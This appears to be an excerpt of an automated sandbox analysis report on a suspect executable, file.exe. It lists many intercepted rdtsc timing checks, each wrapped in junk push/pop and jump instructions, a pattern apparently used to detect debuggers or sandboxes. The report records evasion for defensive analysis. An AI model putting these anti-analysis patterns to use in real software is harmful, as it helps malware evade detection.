Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBEE24 second address: BBEE2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBEE2E second address: BBEE32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBEE32 second address: BBEE38 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBEE38 second address: BBEE44 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBEE44 second address: BBEE48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBEE48 second address: BBEE72 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F08C0C91960h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b js 00007F08C0C91976h 0x00000011 push eax 0x00000012 push edx 0x00000013 jnc 00007F08C0C91956h 0x00000019 js 00007F08C0C91956h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBEE72 second address: BBEE80 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007F08C0CB452Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC3172 second address: BC3176 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC3176 second address: BC317A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC317A second address: BC3194 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F08C0C91956h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push edi 0x0000000e pop edi 0x0000000f push edx 0x00000010 pop edx 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 popad 0x00000015 push ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 push edx 0x00000019 pop edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC3620 second address: BC362F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F08C0CB452Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC362F second address: BC363D instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F08C0C91956h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC363D second address: BC3641 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC3920 second address: BC393C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F08C0C91964h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC393C second address: BC3940 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC3940 second address: BC3944 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC3944 second address: BC394C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC394C second address: BC396A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F08C0C91968h 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC396A second address: BC3984 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F08C0CB4536h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC6EC6 second address: BC6ECC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC6ECC second address: BC6ED0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC6761 second address: BC6781 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F08C0C9195Dh 0x00000009 jmp 00007F08C0C9195Fh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC6781 second address: BC679C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F08C0CB452Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC679C second address: BC67A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F08C0C91956h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC67A6 second address: BC67D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F08C0CB4535h 0x00000007 jnc 00007F08C0CB4526h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 jmp 00007F08C0CB452Ch 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC6905 second address: BC6943 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F08C0C91958h 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 push esi 0x00000012 pushad 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 push edi 0x00000018 pop edi 0x00000019 jmp 00007F08C0C91966h 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F08C0C9195Ch 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCB5C3 second address: BCB5C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCB5C7 second address: BCB5CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCB9E0 second address: BCB9E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCBDE7 second address: BCBDEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCBDEC second address: BCBE05 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F08C0CB4526h 0x0000000a jmp 00007F08C0CB452Fh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD3351 second address: BD3357 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD3357 second address: BD335B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD335B second address: BD3361 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD3361 second address: BD3367 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD376A second address: BD3770 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD3770 second address: BD3774 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD3774 second address: BD3789 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F08C0C91961h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD3D38 second address: BD3D4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 jmp 00007F08C0CB4530h 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD4015 second address: BD4019 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD4019 second address: BD401D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD42B1 second address: BD42F2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F08C0C9195Eh 0x00000007 jmp 00007F08C0C91969h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ebx 0x0000000f jns 00007F08C0C91962h 0x00000015 push edi 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD488C second address: BD4890 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD9B32 second address: BD9B36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD8D64 second address: BD8DA9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F08C0CB4534h 0x00000007 jmp 00007F08C0CB4536h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jmp 00007F08C0CB4537h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD8F1F second address: BD8F23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD8F23 second address: BD8F27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD8F27 second address: BD8F62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F08C0C91963h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f jo 00007F08C0C91956h 0x00000015 pushad 0x00000016 popad 0x00000017 pop eax 0x00000018 jmp 00007F08C0C91965h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD9213 second address: BD921B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD95E8 second address: BD95FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push edx 0x00000008 jne 00007F08C0C91956h 0x0000000e jns 00007F08C0C91956h 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDFB6F second address: BDFB73 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDFB73 second address: BDFB7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDFB7C second address: BDFB85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pop eax 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE7933 second address: BE793E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F08C0C91956h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE793E second address: BE794A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jnc 00007F08C0CB4526h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE777F second address: BE7794 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F08C0C91961h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE56D5 second address: BE56DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F08C0CB4526h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEEEC7 second address: BEEEDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F08C0C91956h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 jo 00007F08C0C91956h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEEEDE second address: BEEEE8 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F08C0CB4526h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEE90A second address: BEE910 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEE910 second address: BEE92A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jmp 00007F08C0CB452Bh 0x0000000b popad 0x0000000c ja 00007F08C0CB452Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEE92A second address: BEE964 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pushad 0x00000006 popad 0x00000007 pop esi 0x00000008 popad 0x00000009 push esi 0x0000000a jmp 00007F08C0C91965h 0x0000000f pushad 0x00000010 push esi 0x00000011 pop esi 0x00000012 jmp 00007F08C0C91964h 0x00000017 push edi 0x00000018 pop edi 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFD1D4 second address: BFD1DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFD1DA second address: BFD1E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFD1E0 second address: BFD1F6 instructions: 0x00000000 rdtsc 0x00000002 js 00007F08C0CB452Ah 0x00000008 pushad 0x00000009 popad 0x0000000a push edi 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 jl 00007F08C0CB4526h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C016A5 second address: C016A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C016A9 second address: C016AF instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0A98A second address: C0A98E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C10E74 second address: C10E8F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F08C0CB4531h 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1916B second address: C1918A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F08C0C91965h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c pushad 0x0000000d popad 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C17C56 second address: C17C79 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 pop edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F08C0CB4539h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C17C79 second address: C17C7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1807E second address: C18086 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C18086 second address: C1809C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F08C0C91961h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C18370 second address: C18380 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edi 0x00000006 je 00007F08C0CB4536h 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C18380 second address: C18384 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1CC90 second address: C1CC9A instructions: 0x00000000 rdtsc 0x00000002 jng 00007F08C0CB4526h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1CC9A second address: C1CCB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F08C0C9195Eh 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pushad 0x00000010 popad 0x00000011 pop edi 0x00000012 push esi 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 pop esi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1CCB9 second address: C1CCC0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C36BD0 second address: C36BD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C39124 second address: C3912A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3BBAE second address: C3BBC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3BBC2 second address: C3BBCE instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F08C0CB4526h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5521D second address: C55223 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C55223 second address: C5523E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F08C0CB4530h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C55BAD second address: C55BCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F08C0C91967h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C55D25 second address: C55D2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F08C0CB4526h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C55E95 second address: C55EA6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F08C0C9195Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C55EA6 second address: C55ED2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F08C0CB4533h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F08C0CB452Bh 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C55ED2 second address: C55ED7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C55ED7 second address: C55EDD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C57AFD second address: C57B07 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F08C0C91956h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C57B07 second address: C57B11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C57B11 second address: C57B17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C57B17 second address: C57B1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C57B1B second address: C57B21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C57B21 second address: C57B2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5B998 second address: C5B9A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F08C0C91956h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5B9A2 second address: C5B9B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F08C0CB452Bh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5BC10 second address: C5BC14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5BCAF second address: C5BCD9 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F08C0CB4528h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d mov edx, eax 0x0000000f push 00000004h 0x00000011 mov edx, dword ptr [ebp+122D2DEDh] 0x00000017 mov dh, cl 0x00000019 push 1BE325E1h 0x0000001e push eax 0x0000001f push edx 0x00000020 jnp 00007F08C0CB4528h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5BCD9 second address: C5BCDE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
